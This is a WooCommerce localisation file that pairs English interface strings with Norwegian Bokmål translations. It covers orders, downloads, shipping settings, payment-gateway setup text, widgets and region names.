#: includes/class-wc-install.php:1404 includes/class-wc-install.php:1410
msgctxt "Default category slug"
msgid "Uncategorized"
msgstr "Ukategorisert"
#: includes/class-wc-customer-download.php:294
msgid "Invalid permission ID."
msgstr "Ugyldig tilgangs-ID."
#: includes/class-wc-countries.php:1591
msgid "Municipality / District"
msgstr "Kommune / Distrikt"
#. translators: %s: field name
#: includes/class-wc-checkout.php:882
msgid "%s is not a valid postcode / ZIP."
msgstr "%s er ikke en gyldig postkode / ZIP."
#: includes/class-wc-ajax.php:2222
msgid "Error processing refund. Please try again."
msgstr "Feil ved behandling av refusjon. Vennligst prøv på nytt."
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:2345
#: src/StoreApi/Routes/V1/Products.php:279
msgid "Limit result set to products with specific SKU(s). Use commas to separate."
msgstr "Begrens resultatet til produkter med spesifikk(e) nummer. Bruk komma for å skille dem."
#: includes/rest-api/Controllers/Version2/class-wc-rest-customer-downloads-v2-controller.php:81
#: src/Admin/API/Reports/Downloads/Controller.php:165
msgid "Download ID."
msgstr "Nedlastnings-ID."
#: includes/admin/views/html-admin-page-status-logs-db.php:21
msgid "Search logs"
msgstr "Søk logger"
#. translators: WooCommerce link to setting up shipping zones
#: includes/admin/settings/views/html-admin-page-shipping-zone-methods.php:60
msgid "Postcodes containing wildcards (e.g. CB23*) or fully numeric ranges (e.g. <code>90210...99000</code>) are also supported. Please see the shipping zones <a href=\"%s\" target=\"_blank\">documentation</a> for more information."
msgstr "Postnummer som inneholder jokertegn (f.eks. CB23*), eller fulle numeriske områder (f.eks. <code>90210...99000</code>), støttes også. For mer informasjon, se <a href=\"%s\" target=\"_blank\">dokumentasjon</a>) for fraktsoner."
#: includes/admin/settings/class-wc-settings-products.php:67
msgid "Shop pages"
msgstr "Butikksider"
#: includes/admin/reports/class-wc-report-downloads.php:257
msgid "No customer downloads found."
msgstr "Ingen kunde nedlastinger funnet."
#: includes/admin/reports/class-wc-report-downloads.php:205
msgid "Filter by IP address"
msgstr "Filtrer på IP-adresse"
#: includes/admin/reports/class-wc-report-downloads.php:194
msgid "Filter by user"
msgstr "Filtrer på bruker"
#: includes/admin/reports/class-wc-report-downloads.php:183
msgid "Filter by order"
msgstr "Filtrer etter ordre"
#: includes/admin/reports/class-wc-report-downloads.php:173
msgid "Filter by file"
msgstr "Filtrer på fil"
#: includes/admin/reports/class-wc-report-downloads.php:158
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:1419
msgid "Filter by product"
msgstr "Filtrer på produkt"
#: includes/admin/reports/class-wc-report-downloads.php:86
msgid "Permission ID"
msgstr "Tilgangs-ID"
#: includes/admin/reports/class-wc-report-downloads.php:85
msgid "File ID"
msgstr "Fil-ID"
#: includes/admin/reports/class-wc-report-downloads.php:75
msgid "Permission #%d not found."
msgstr "Tillatelse nr. %d ikke funnet."
#: includes/admin/reports/class-wc-admin-report.php:815
msgid "Confirm navigation"
msgstr "Bekreft navigasjonen"
#. translators: %1$s: open link, %2$s: close link
#: includes/admin/reports/class-wc-admin-report.php:814
msgid "This report link has expired. %1$sClick here to view the filtered report%2$s."
msgstr "Denne rapportlenken er utløpt. %1$sTrykk her for å vise den filtrerte rapporten%2$s."
#: includes/admin/meta-boxes/views/html-product-data-variations.php:107
msgid "Set Status - On backorder"
msgstr "Angi status - I restordre"
#: includes/admin/meta-boxes/views/html-order-download-permission.php:59
#: src/Internal/Admin/Notes/NewSalesRecord.php:156
msgid "View report"
msgstr "Se rapport"
#: includes/admin/meta-boxes/views/html-order-download-permission.php:51
msgid "Customer download log"
msgstr "Kunde nedlastingslogg"
#: includes/admin/meta-boxes/views/html-order-download-permission.php:48
#: assets/client/admin/chunks/launch-store.js:1
#: assets/client/admin/wp-admin-scripts/settings-embed.js:2
msgid "Copy link"
msgstr "Kopier lenke"
#: includes/admin/meta-boxes/views/html-order-download-permission.php:48
msgid "Copying to clipboard failed. You should be able to right-click the button and copy."
msgstr "Kopiering til utklippstavlen mislyktes. Du bør kunne høyreklikke på knappen og kopiere."
#: includes/admin/meta-boxes/class-wc-meta-box-order-data.php:331
#: assets/client/admin/chunks/analytics-settings.js:1
msgid "Status:"
msgstr "Status:"
#: includes/admin/meta-boxes/class-wc-meta-box-order-data.php:320
msgid "Date created:"
msgstr "Dato opprettet:"
#. translators: 1: date 2: time
#: includes/admin/meta-boxes/class-wc-meta-box-order-data.php:264
msgid "Paid on %1$s @ %2$s"
msgstr "Betalt %1$s kl %2$s"
#: includes/admin/list-tables/class-wc-admin-list-table-products.php:428
#: assets/client/blocks/filter-wrapper.js:1
#: assets/client/blocks/product-category.js:12
#: assets/client/blocks/product-new.js:12
#: assets/client/blocks/product-on-sale.js:12
#: assets/client/blocks/product-tag.js:9
#: assets/client/blocks/product-top-rated.js:12
#: assets/client/blocks/products-by-attribute.js:12
#: assets/client/blocks/stock-filter.js:8
msgid "Filter by stock status"
msgstr "Filtrer på lagerstatus"
#: includes/admin/list-tables/class-wc-admin-list-table-products.php:315
#: includes/admin/reports/class-wc-report-stock.php:116
#: includes/wc-product-functions.php:1054
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/ProductVariationTemplate.php:404
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:870
#: assets/client/admin/chunks/analytics-report-stock.js:1
#: assets/client/admin/product-editor/index.js:2
msgid "On backorder"
msgstr "I restordre"
#: includes/admin/list-tables/class-wc-admin-list-table-orders.php:413
msgid "Change status: "
msgstr "Endre status: "
#: includes/admin/list-tables/class-wc-admin-list-table-orders.php:405
msgid "Completed"
msgstr "Fullført"
#: includes/admin/list-tables/class-wc-admin-list-table-orders.php:387
msgid "On-hold"
msgstr "På vent"
#: src/Internal/Admin/Orders/ListTable.php:1716
msgid "Payment via"
msgstr "Betaling via"
#: src/Internal/Admin/Orders/ListTable.php:1183
msgid "M j, Y"
msgstr "d.m.Y"
#. translators: %s: human-readable time difference
#: src/Internal/Admin/Orders/ListTable.php:1179
msgctxt "%s = human-readable time difference"
msgid "%s ago"
msgstr "%s siden"
#: includes/admin/list-tables/class-wc-admin-list-table-orders.php:149
#: src/Internal/Admin/Orders/ListTable.php:333
msgid "Change status to completed"
msgstr "Endre status til fullført"
#: includes/admin/list-tables/class-wc-admin-list-table-orders.php:148
#: src/Internal/Admin/Orders/ListTable.php:332
msgid "Change status to on-hold"
msgstr "Endre status til på vent"
#: includes/admin/list-tables/class-wc-admin-list-table-orders.php:147
#: src/Internal/Admin/Orders/ListTable.php:331
msgid "Change status to processing"
msgstr "Endre status til behandler"
#: includes/admin/list-tables/class-wc-admin-list-table-coupons.php:47
msgid "Create your first coupon"
msgstr "Opprett din første rabattkode"
#: includes/admin/importers/views/html-product-csv-import-form.php:60
msgid "Existing products that match by ID or SKU will be updated. Products that do not exist will be skipped."
msgstr "Eksisterende produkter som samsvarer med id eller produktnummer vil bli oppdatert. Produkter som ikke eksisterer vil bli hoppet over."
#. translators: 1: subscriptions docs 2: subscriptions docs
#: includes/admin/helper/class-wc-helper.php:404
msgid "To receive updates and support for this extension, you need to <strong>purchase</strong> a new subscription or consolidate your extensions to one connected account by <strong><a href=\"%1$s\" title=\"Sharing Docs\">sharing</a> or <a href=\"%2$s\" title=\"Transferring Docs\">transferring</a></strong> this extension to this connected account."
msgstr "For å motta oppdateringer og støtte for denne utvidelsen, må du <strong>kjøpe</strong> et nytt abonnement eller knytte utvidelsene til en koblet konto ved å <strong> <a href=\"%1$s\" title=\"Sharing Docs\">dele</a> eller <a href=\"%2$s\" title=\"Transferring Docs\">overføre</a> </strong> denne utvidelsen til den koblede kontoen."
#: includes/admin/helper/class-wc-helper-compat.php:165
msgid "The WooCommerce Helper plugin is no longer needed. <a href=\"%s\">Manage subscriptions</a> from the extensions tab instead."
msgstr "WooCommerce Helper-utvidelsen er ikke lenger nødvendig. <a href=\"%s\">Rediger abonnementer</a> fra Woocommerce > Utvidelser i stedet."
#: includes/admin/class-wc-admin-webhooks.php:129
msgid "Webhook topic unknown. Please select a valid topic."
msgstr "Webhook emne ukjent. Vennligst velg et gyldig emne."
#. translators: %s: webhook name
#: includes/admin/class-wc-admin-webhooks-table-list.php:92
msgid "Delete \"%s\" permanently"
msgstr "Slett \"%s\" permanent"
#: includes/admin/class-wc-admin-setup-wizard.php:2135
msgid "Reasons you'll love Jetpack"
msgstr "Grunner til å elske Jetpack"
#: includes/admin/class-wc-admin-setup-wizard.php:2071
msgid "Continue with Jetpack"
msgstr "Fortsett med Jetpack"
#: includes/admin/class-wc-admin-setup-wizard.php:2022
msgid "payment setup"
msgstr "betalingsoppsett"
#: includes/admin/class-wc-admin-setup-wizard.php:2018
msgid "payment setup and automated taxes"
msgstr "betalingsoppsett og automatiske avgiftssatser"
#: src/Admin/Features/PaymentGatewaySuggestions/DefaultPaymentGateways.php:601
#: src/Internal/Admin/Suggestions/PaymentsExtensionSuggestions.php:3675
#: assets/client/admin/chunks/core-profiler.js:1
msgid "Square"
msgstr "Firkant"
#: src/Admin/Features/PaymentGatewaySuggestions/DefaultPaymentGateways.php:240
#: src/Internal/Admin/Suggestions/PaymentsExtensionSuggestions.php:3975
msgid "Klarna Payments"
msgstr "Klarna-betalinger"
#: src/Admin/Features/PaymentGatewaySuggestions/DefaultPaymentGateways.php:216
#: src/Internal/Admin/Suggestions/PaymentsExtensionSuggestions.php:4008
msgid "Klarna Checkout"
msgstr "Klarna checkout"
#: includes/admin/class-wc-admin-setup-wizard.php:1450
msgid "Email address to receive payments"
msgstr "E-postadresse for å motta betalinger"
#: includes/admin/class-wc-admin-setup-wizard.php:1447
msgid "Direct payments to email address:"
msgstr "Direkte betalinger til e-postadresse:"
#. translators: %s: URL
#: includes/admin/class-wc-admin-setup-wizard.php:1399
msgid "Securely accept credit and debit cards with one low rate, no surprise fees (custom rates available). Sell online and in store and track sales and inventory in one place. <a href=\"%s\" target=\"_blank\">Learn more about Square</a>."
msgstr "Sikkert ta imot kreditt- og debetkort med en lav sats, ingen overraskelsesavgifter (tilpassede priser tilgjengelig). Selg online og i butikk og spor salg og lager på ett sted. <a href=\"%s\" target=\"_blank\">Finn ut mer om Square</a>."
#. translators: %s: URL
#: includes/admin/class-wc-admin-setup-wizard.php:1394
msgid "Choose the payment that you want, pay now, pay later or slice it. No credit card numbers, no passwords, no worries. <a href=\"%s\" target=\"_blank\">Learn more about Klarna</a>."
msgstr "Velg betalingen du vil ha, betal nå, betal senere eller del opp betalingen. Ingen kredittkortnumre, ingen passord, ingen bekymringer. <a href=\"%s\" target=\"_blank\">Finn ut mer om Klarna</a>."
#. translators: %s: URL
#: includes/admin/class-wc-admin-setup-wizard.php:1389
msgid "Full checkout experience with pay now, pay later and slice it. No credit card numbers, no passwords, no worries. <a href=\"%s\" target=\"_blank\">Learn more about Klarna</a>."
msgstr "Full kasseopplevelse: betal nå, betal senere eller del opp betalingen. Ingen kredittkortnumre, ingen passord, ingen bekymringer. <a href=\"%s\" target=\"_blank\">Finn ut mer om Klarna</a> ."
#. translators: %s: URL
#: includes/admin/class-wc-admin-setup-wizard.php:1379
msgid "Accept debit and credit cards in 135+ currencies, methods such as Alipay, and one-touch checkout with Apple Pay. <a href=\"%s\" target=\"_blank\">Learn more</a>."
msgstr "Godta debet- og kredittkort i 135+ valutaer, metoder som Alipay og one-touch betaling med Apple Pay. <a href=\"%s\" target=\"_blank\">Lær mer</a>."
#: includes/admin/class-wc-admin-setup-wizard.php:589
msgid "I will also be selling products or services in person."
msgstr "Jeg vil også selge produkter eller tjenester i egen person."
#: includes/admin/class-wc-admin-reports.php:118
#: includes/admin/reports/class-wc-report-downloads.php:79
msgid "Customer downloads"
msgstr "Kunde nedlastinger"
#: includes/admin/class-wc-admin-post-types.php:139
#: includes/admin/class-wc-admin-post-types.php:163
#: includes/admin/class-wc-admin-post-types.php:202
msgid "Revision restored."
msgstr "Revisjon gjenopprettet."
#. translators: %s: Home URL
#: includes/admin/class-wc-admin-permalink-settings.php:101
msgid "If you like, you may enter custom structures for your product URLs here. For example, using <code>shop</code> would make your product links like <code>%sshop/sample-product/</code>. This setting affects product URLs only, not things such as product categories."
msgstr "Hvis du vil, kan du skrive inn egendefinerte strukturer for produkt-url’ene dine her. Hvis du for eksempel bruker <code>shop</code> vil produktlenkene bli <code>%sshop/eksempel-produkt/</code>. Denne innstillingen påvirker kun produkt-url’er, ikke saker som produktkategorier."
#. translators: %s: post title
#: includes/admin/class-wc-admin-duplicate-product.php:62
msgid "Move “%s” to the Trash"
msgstr "Flytt “%s” til papirkurven"
#: includes/admin/class-wc-admin-attributes.php:421
msgid "Attributes let you define extra product data, such as size or color. You can use these attributes in the shop sidebar using the \"layered nav\" widgets."
msgstr "Med attributter kan du definere ekstra produktdata, for eksempel størrelse eller farge. Du kan bruke disse attributtene i butikkens sidepanel ved å bruke «layered nav\" widgetene."
#: includes/admin/class-wc-admin-attributes.php:260
#: includes/admin/class-wc-admin-attributes.php:469
msgid "Determines how this attribute's values are displayed."
msgstr "Bestemmer hvordan verdier for denne attributtet vises."
#: includes/admin/class-wc-admin-assets.php:425
msgid "This product has produced sales and may be linked to existing orders. Are you sure you want to delete it?"
msgstr "Dette produktet har produsert salg og kan være knyttet til eksisterende ordre. Er du sikker på at du vil slette det?"
#. translators: %s: Product title
#: includes/abstracts/abstract-wc-product.php:2131
#: includes/class-wc-product-simple.php:75
msgid "Read more about “%s”"
msgstr "Les mer om «%s»"
#: i18n/states.php:1897
msgid "Simiyu"
msgstr "Simiyu"
#: i18n/states.php:1896
msgid "Njombe"
msgstr "Njombe"
#: i18n/states.php:1895
msgid "Katavi"
msgstr "Katavi"
#: i18n/states.php:1894
msgid "Geita"
msgstr "Geita"
#: i18n/states.php:1893
msgid "Manyara"
msgstr "Manyara"
#: i18n/states.php:1892
msgid "Tanga"
msgstr "Tanga"
#: i18n/states.php:1891
msgid "Tabora"
msgstr "Tabora"
#: i18n/states.php:1890
msgid "Singida"
msgstr "Singida"
#: i18n/states.php:1889
msgid "Shinyanga"
msgstr "Shinyanga"
#: i18n/states.php:1888
msgid "Ruvuma"
msgstr "Ruvuma"
#: i18n/states.php:1887
msgid "Rukwa"
msgstr "Rukwa"
#: i18n/states.php:1886
msgid "Coast"
msgstr "Coast"
#: i18n/states.php:1885
msgid "Mwanza"
msgstr "Mwanza"
#: i18n/states.php:1884
msgid "Mtwara"
msgstr "Mtwara"
#: i18n/states.php:1883
msgid "Morogoro"
msgstr "Morogoro"
#: i18n/states.php:1882
msgid "Zanzibar West"
msgstr "Zanzibar West"
#: i18n/states.php:1881
msgid "Mbeya"
msgstr "Mbeya"
#: i18n/states.php:1880
msgid "Mara"
msgstr "Mara"
#: i18n/states.php:1879
msgid "Lindi"
msgstr "Lindi"
#: i18n/states.php:1878
msgid "Zanzibar South"
msgstr "Zanzibar South"
#: i18n/states.php:1877
msgid "Pemba South"
msgstr "Pemba South"
#: i18n/states.php:1876
msgid "Kilimanjaro"
msgstr "Kilimanjaro"
#: i18n/states.php:1875
msgid "Kigoma"
msgstr "Kigoma"
#: i18n/states.php:1874
msgid "Zanzibar North"
msgstr "Zanzibar North"
#: i18n/states.php:1873
msgid "Pemba North"
msgstr "Pemba North"
#: i18n/states.php:1872
msgid "Kagera"
msgstr "Kagera"
#: i18n/states.php:1871
msgid "Iringa"
msgstr "Iringa"
#: i18n/states.php:1870
msgid "Dodoma"
msgstr "Dodoma"
#: i18n/states.php:1869
msgid "Dar es Salaam"
msgstr "Dar es Salaam"
#: i18n/states.php:1868
msgid "Arusha"
msgstr "Arusha"
#: i18n/states.php:1285
msgid "Ungheni"
msgstr "Ungheni"
#: i18n/states.php:1283
msgid "Taraclia"
msgstr "Taraclia"
#: i18n/states.php:1279
msgid "Soroca"
msgstr "Soroca"
#: i18n/states.php:1276
msgid "Rezina"
msgstr "Rezina"
#: i18n/states.php:1275
msgid "Orhei"
msgstr "Orhei"
#: i18n/states.php:1273
msgid "Nisporeni"
msgstr "Nisporeni"
#: i18n/states.php:1272
msgid "Leova"
msgstr "Leova"
#: i18n/states.php:1271
msgid "Ialoveni"
msgstr "Ialoveni"
#: i18n/states.php:1269
msgid "Glodeni"
msgstr "Glodeni"
#: i18n/states.php:1263
msgid "Drochia"
msgstr "Drochia"
#: i18n/states.php:1261
msgid "Criuleni"
msgstr "Criuleni"
#: i18n/states.php:1257
msgid "Cantemir"
msgstr "Cantemir"
#: i18n/states.php:1256
msgid "Cahul"
msgstr "Cahul"
#: i18n/states.php:1255
msgid "Briceni"
msgstr "Briceni"
#: i18n/states.php:1254
msgid "Basarabeasca"
msgstr "Basarabeasca"
#: i18n/states.php:1253
msgid "Anenii Noi"
msgstr "Anenii Noi"
#: templates/myaccount/form-add-payment-method.php:60
msgid "New payment methods can only be added during checkout. Please contact us if you require assistance."
msgstr "Nye betalingsmåter kan bare legges til i kassen. Kontakt oss dersom du behøver hjelp."
#: includes/wc-core-functions.php:528
msgid "Belarusian ruble (old)"
msgstr "Belarusian ruble (gammel)"
#: includes/shortcodes/class-wc-shortcode-my-account.php:358
msgid "This key is invalid or has already been used. Please reset your password again if needed."
msgstr "Denne nøkkelen er ugyldig eller har allerede blitt brukt. Vennligst tilbakestill passordet ditt igjen om nødvendig."
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:780
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:1827
msgid "End date of sale price, as GMT."
msgstr "Sluttdato for tilbudspris, i GMT."
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:791
msgid "Define if the variation is visible on the product's page."
msgstr "Velg om varianten er synlig på produktsiden."
#: includes/admin/meta-boxes/class-wc-meta-box-order-actions.php:214
msgid "Resend new order notification"
msgstr "Send varsel for ny ordre på nytt"
#: includes/admin/class-wc-admin-post-types.php:212
msgid "Order updated and sent."
msgstr "Ordre oppdatert og sendt."
#: templates/cart/cart-shipping.php:67
msgid "There are no shipping options available. Please ensure that your address has been entered correctly, or contact us if you need any help."
msgstr "Det er ingen fraktmåter tilgjengelig. Påse at adressen du har lagt inn er riktig, eller kontakt oss hvis du behøver hjelp."
#: includes/widgets/class-wc-widget-top-rated-products.php:22
msgid "A list of your store's top-rated products."
msgstr "En liste med topp-vurderte produkter i butikken din."
#: includes/widgets/class-wc-widget-recently-viewed.php:23
msgid "Display a list of a customer's recently viewed products."
msgstr "Viser en liste med produkter som en kunde nylig har sett på."
#: includes/widgets/class-wc-widget-recent-reviews.php:23
msgid "Recent Product Reviews"
msgstr "Nylige produktomtaler"
#: includes/widgets/class-wc-widget-recent-reviews.php:21
msgid "Display a list of recent reviews from your store."
msgstr "Viser en liste med nylige omtaler fra butikken din."
#: includes/widgets/class-wc-widget-rating-filter.php:23
msgid "Filter Products by Rating"
msgstr "Filtrer produkter på vurdering"
#: includes/widgets/class-wc-widget-rating-filter.php:21
msgid "Display a list of star ratings to filter products in your store."
msgstr "Viser en liste med stjernevurderinger for å filtrere produkter i butikken din."
#: includes/widgets/class-wc-widget-products.php:23
msgid "A list of your store's products."
msgstr "En liste med produkter i butikken din."
#: includes/widgets/class-wc-widget-product-tag-cloud.php:25
msgid "Product Tag Cloud"
msgstr "Produktstikkordsky"
#: includes/widgets/class-wc-widget-product-tag-cloud.php:23
msgid "A cloud of your most used product tags."
msgstr "En sky med dine mest brukte produktstikkord."
#: includes/widgets/class-wc-widget-product-search.php:23
#: assets/client/blocks/product-search.js:1
msgid "Product Search"
msgstr "Produktsøk"
#: includes/widgets/class-wc-widget-product-search.php:21
msgid "A search form for your store."
msgstr "Et søkeskjema til din butikk."
#: includes/widgets/class-wc-widget-product-categories.php:83
msgid "Maximum depth"
msgstr "Maksimum dybde"
#: includes/widgets/class-wc-widget-price-filter.php:27
msgid "Filter Products by Price"
msgstr "Filtrer produkter på pris"
#: includes/widgets/class-wc-widget-price-filter.php:25
#: assets/client/blocks/price-filter.js:5
msgid "Display a slider to filter products in your store by price."
msgstr "Viser en slider for å filtrere produktene i butikken din på pris."
#: includes/widgets/class-wc-widget-layered-nav.php:25
msgid "Filter Products by Attribute"
msgstr "Filtrer produkter på attributt"
#: includes/widgets/class-wc-widget-layered-nav.php:23
msgid "Display a list of attributes to filter products in your store."
msgstr "Viser en liste med attributter for å filtrere produkter i butikken din."
#: includes/widgets/class-wc-widget-layered-nav-filters.php:23
msgid "Active Product Filters"
msgstr "Aktive produkt-filtre"
#: includes/widgets/class-wc-widget-layered-nav-filters.php:21
msgid "Display a list of active product filters."
msgstr "Viser en liste med aktive produkt-filtre."
#: includes/widgets/class-wc-widget-cart.php:23
msgid "Display the customer shopping cart."
msgstr "Vis kundens handlekurv."
#: includes/wc-template-functions.php:1653
msgid "Relevance"
msgstr "Relevans"
#. translators: 1: wc_load_cart 2: woocommerce_init
#. translators: 1: class::method 2: plugins_loaded
#: includes/wc-core-functions.php:2652
#: src/Internal/Features/FeaturesController.php:1034
msgid "%1$s should not be called before the %2$s action."
msgstr "%1$s bør ikke kalles før %2$s handlingen."
#. translators: 1: class name 2: woocommerce_logging_class 3:
#. WC_Logger_Interface
#: includes/wc-core-functions.php:2140
msgid "The class %1$s provided by %2$s filter must implement %3$s."
msgstr "Klassen %1$s angitt av %2$s filter må implementere %3$s."
#: includes/wc-attribute-functions.php:477
msgid "Please, provide an attribute name."
msgstr "Vennligst legg inn et attributt-navn."
#: includes/shortcodes/class-wc-shortcode-order-tracking.php:64
msgid "Sorry, the order could not be found. Please contact us if you are having difficulty finding your order details."
msgstr "Beklager, vi finner ikke ordren. Vennligst kontakt oss hvis du har problemer med å finne dine ordredetaljer."
#: includes/shortcodes/class-wc-shortcode-order-tracking.php:50
#: assets/client/blocks/checkout.js:14
#: assets/client/blocks/wc-cart-checkout-base-frontend.js:21
msgid "Please enter a valid email address"
msgstr "Vennligst legg inn en gyldig e-postadresse"
#. translators: %s: product name
#: includes/shortcodes/class-wc-shortcode-checkout.php:156
#: src/StoreApi/Utilities/OrderController.php:750
msgid "Sorry, \"%s\" is no longer in stock so this order cannot be paid for. We apologize for any inconvenience caused."
msgstr "Beklager, \"%s\" er ikke lenger på lager, og denne ordren kan derfor ikke betales. Vi beklager eventuelle ulemper."
#. translators: 1: WC_Logger::log 2: level
#: includes/class-wc-logger.php:170
msgid "%1$s was called with an invalid level \"%2$s\"."
msgstr "%1$s ble kalt med et ugyldig nivå \"%2$s\"."
#. translators: 1: class name 2: WC_Log_Handler_Interface
#: includes/class-wc-logger.php:81
msgid "The provided handler %1$s does not implement %2$s."
msgstr "Den angitte handleren %1$s implementerer ikke %2$s."
#: includes/class-wc-form-handler.php:573
msgid "Unable to add payment method to your account."
msgstr "Kan ikke legge til betalingsmåten i kontoen din."
#: includes/class-wc-form-handler.php:569
msgid "Payment method successfully added."
msgstr "Betalingsmåte ble vellykket lagt til."
#: includes/class-wc-form-handler.php:556
msgid "Invalid payment gateway."
msgstr "Ugyldig betalingsløsning."
#. translators: %s: coupon code
#: includes/class-wc-discounts.php:816 includes/class-wc-discounts.php:861
#: includes/class-wc-discounts.php:930
msgid "Sorry, coupon \"%s\" is not applicable to selected products."
msgstr "Beklager, rabattkoden «%s» kan ikke brukes for de valgte produktene."
#: includes/class-wc-coupon.php:580 includes/class-wc-coupon.php:584
msgid "Invalid discount amount."
msgstr "Ugyldig rabattbeløp."
#: includes/class-wc-checkout.php:284
msgid "Create account password"
msgstr "Lag et konto-passord"
#: includes/class-wc-cart-fees.php:84
msgid "Fee has already been added."
msgstr "Gebyret er allerede lagt til."
#. translators: %s fee amount
#: includes/class-wc-ajax.php:1184
msgid "%s fee"
msgstr "%s gebyr"
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:211
msgid "This option will delete ALL of your tax rates, use with caution. This action cannot be reversed."
msgstr "Dette valget vil slette ALLE dine avgiftssatser, bruk med omhu. Denne handlingen kan ikke reverseres."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:207
msgid "Delete tax rates"
msgstr "Slett avgiftssatser"
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:198
msgid "Create pages"
msgstr "Opprett sider"
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:197
msgid "Create default WooCommerce pages"
msgstr "Opprett standard WooCommerce-sider"
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:170
msgid "Clear customer sessions"
msgstr "Tøm kundesesjoner"
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:130
msgid "WooCommerce transients"
msgstr "WooCommerce transienter"
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:1564
msgctxt "Page setting"
msgid "Terms and conditions"
msgstr "Salgsbetingelser"
#: includes/admin/views/html-admin-page-status-report.php:561
msgid "Post Type Counts"
msgstr "Antall av innholdstype"
#: includes/admin/views/html-admin-page-status-report.php:507
msgid "Database Index Size"
msgstr "Database indeks størrelse"
#: includes/admin/views/html-admin-page-status-report.php:501
msgid "Database Data Size"
msgstr "Database data størrelse"
#: includes/admin/views/html-admin-page-status-report.php:495
msgid "Total Database Size"
msgstr "Total database størrelse"
#. Translators: %s: function name.
#: includes/admin/views/html-admin-page-status-report.php:410
#: includes/admin/views/html-admin-page-status-report.php:424
msgid "%s failed. Contact your hosting provider."
msgstr "%s mislyktes. Ta kontakt med nettleverandøren din."
#. translators: 1: X-Accel-Redirect 2: X-Sendfile 3: mod_xsendfile
#: includes/admin/settings/class-wc-settings-products.php:379
msgid "Forcing downloads will keep URLs hidden, but some servers may serve large files unreliably. If supported, %1$s / %2$s can be used to serve downloads instead (server requires %3$s)."
msgstr "Tvungne nedlastinger vil holde nettadresser skjult, men enkelte servere kan ikke betjene store filer på en pålitelig måte. Hvis støttet, kan %1$s / %2$s brukes for å servere nedlastinger i stedet (serveren krever %3$s)."
#: includes/admin/settings/class-wc-settings-general.php:152
msgid "The postal code, if any, in which your business is located."
msgstr "Postnummeret, hvis det finnes, hvor bedriften din ligger."
#: includes/admin/settings/class-wc-settings-general.php:143
msgid "The country and state or province, if any, in which your business is located."
msgstr "Land og stat eller fylke, hvis det finnes, hvor bedriften din ligger."
#: includes/admin/settings/class-wc-settings-general.php:142
#: assets/client/blocks/wc-shipping-method-pickup-location.js:233
msgid "Country / State"
msgstr "Land / Delstat"
#: includes/admin/settings/class-wc-settings-general.php:134
msgid "The city in which your business is located."
msgstr "Poststed der virksomheten din ligger."
#: includes/admin/settings/class-wc-settings-general.php:125
msgid "An additional, optional address line for your business location."
msgstr "En ekstra, valgfri adresselinje for hvor bedriften din ligger."
#: includes/admin/settings/class-wc-settings-general.php:116
msgid "The street address for your business location."
msgstr "Adressen til bedriften deres."
#: includes/admin/settings/class-wc-settings-general.php:109
msgid "This is where your business is located. Tax rates and shipping rates will use this address."
msgstr "Det er her bedriften ligger. Avgiftssatser og fraktpriser vil bruke denne adressen."
#: includes/admin/settings/class-wc-settings-general.php:107
#: src/Internal/EmailEditor/PersonalizationTags/StoreTagsProvider.php:75
msgid "Store Address"
msgstr "Butikkadresse"
#: includes/admin/plugin-updates/views/html-notice-untested-extensions-modal.php:49
msgid "Update now"
msgstr "Oppdater nå"
#. translators: %s: version number
#: includes/admin/plugin-updates/views/html-notice-untested-extensions-modal.php:14
msgid "The following active plugin(s) have not declared compatibility with WooCommerce %s yet and should be updated and examined further before you proceed:"
msgstr "Følgende aktive utvidelse(r) har ikke deklarert kompatibilitet med WooCommerce %s ennå, og bør oppdateres og undersøkes ytterligere før du fortsetter:"
#: includes/admin/plugin-updates/views/html-notice-untested-extensions-inline.php:19
#: includes/admin/plugin-updates/views/html-notice-untested-extensions-modal.php:30
msgid "Tested up to WooCommerce version"
msgstr "Tested opp til WooCommerce versjon"
#: includes/admin/plugin-updates/views/html-notice-untested-extensions-inline.php:18
#: includes/admin/plugin-updates/views/html-notice-untested-extensions-modal.php:29
msgid "Plugin"
msgstr "Utvidelse"
#: includes/admin/plugin-updates/class-wc-plugin-updates.php:192
msgid "unknown"
msgstr "ukjent"
#. translators: %s: version number
#: includes/admin/plugin-updates/class-wc-plugin-updates.php:115
msgid "<strong>Heads up!</strong> The versions of the following plugins you're running haven't been tested with WooCommerce %s. Please update them or confirm compatibility before updating WooCommerce, or you may experience issues:"
msgstr "<strong>OBS!</strong> Versjonene av de følgende utvidelser du kjører, har ikke blitt testet med WooCommerce %s. Vennligst oppdater dem eller bekreft kompatibilitet før du oppdaterer WooCommerce, ellers kan det oppstå problemer:"
#. translators: 1: refund id 2: refund date 3: username
#: includes/admin/meta-boxes/views/html-order-refund.php:23
msgid "Refund #%1$s - %2$s by %3$s"
msgstr "Refusjon nr. %1$s - %2$s av %3$s"
#: includes/admin/meta-boxes/views/html-order-items.php:338
msgid "Add shipping"
msgstr "Legg til frakt"
#. translators: 1: product ID 2: quantity in stock
#: includes/admin/meta-boxes/class-wc-meta-box-product-data.php:345
#: includes/admin/meta-boxes/class-wc-meta-box-product-data.php:503
msgid "The stock has not been updated because the value has changed since editing. Product %1$d has %2$d units in stock."
msgstr "Lageret er ikke oppdatert fordi verdien har endret seg siden redigering. Produkt %1$d har %2$d enheter på lager."
#: includes/admin/meta-boxes/class-wc-meta-box-order-actions.php:148
msgid "Order details manually sent to customer."
msgstr "Ordredetaljer sendt manuelt til kunden."
#: includes/admin/meta-boxes/class-wc-meta-box-order-actions.php:52
#: src/Internal/StockNotifications/Admin/Templates/html-admin-notification-create.php:41
#: src/Internal/StockNotifications/Admin/Templates/html-admin-notification-edit.php:43
msgid "Choose an action..."
msgstr "Velg en handling..."
